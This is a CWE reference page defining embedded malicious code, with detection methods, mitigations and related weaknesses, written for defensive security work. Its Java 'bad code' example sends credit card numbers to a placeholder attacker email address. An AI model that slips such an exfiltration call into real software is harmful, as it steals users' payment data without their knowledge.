CWE-506: Embedded Malicious Code

Weakness ID: 506
Vulnerability Mapping: ALLOWED (with careful review of mapping notes)
Abstraction: Class

View customized information: Conceptual | Operational | Mapping Friendly | **Complete** | Custom

Description

The product contains code that appears to be malicious in nature.

Extended Description

Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of a product or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	**Technical Impact:** *Execute Unauthorized Code or Commands*	

Potential Mitigations

Phase: Testing

Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	C	912	Hidden Functionality
ParentOf	B	507	Trojan Horse
ParentOf	B	510	Trapdoor
ParentOf	B	511	Logic/Time Bomb
ParentOf	B	512	Spyware

Modes Of Introduction

Phase	Note
Implementation	
Bundling	
Distribution	
Installation	

Demonstrative Examples

Example 1

In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.

Example Language: **Java** *(bad code)*

```
boolean authorizeCard(String ccn) {

  // Authorize credit card.

  ...

  mailCardNumber(ccn, "evil_developer@evil_domain.com");
}
```

Observed Examples

Reference	Description
CVE-2022-30877	A command history tool was shipped with a code-execution backdoor inserted by a malicious party.

Detection Methods

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
- Generated Code Inspection

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Automated Monitored Execution

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Origin Analysis

Effectiveness: SOAR Partial

Memberships

Nature	Type	ID	Name
MemberOf	C	904	SFP Primary Cluster: Malware
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices

Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW *(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)*

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit

Notes

Terminology

The term "Trojan horse" was introduced by Dan Edwards and recorded by James Anderson [18] to characterize a particular computer security threat; it has been redefined many times [4,18-20].

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Malicious

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-442	Infected Software
CAPEC-448	Embed Virus into DLL
CAPEC-636	Hiding Malicious Data or Code within Files

References

[REF-1431] Carl E. Landwehr, Alan R. Bull, John P. McDermott and William S. Choi. "A Taxonomy of Computer Program Security Flaws, with Examples". 1993-11-19. <https://cwe.mitre.org/documents/sources/ATaxonomyofComputerProgramSecurityFlawswithExamples%5BLandwehr93%5D.pdf>. *URL validated: 2024-05-09*.

Content History

Submissions

Submission Date	Submitter	Organization
2006-07-19 *(CWE Draft 3, 2006-07-19)*	Landwehr	

Modifications

Previous Entry Names

Page Last Updated: July 16, 2024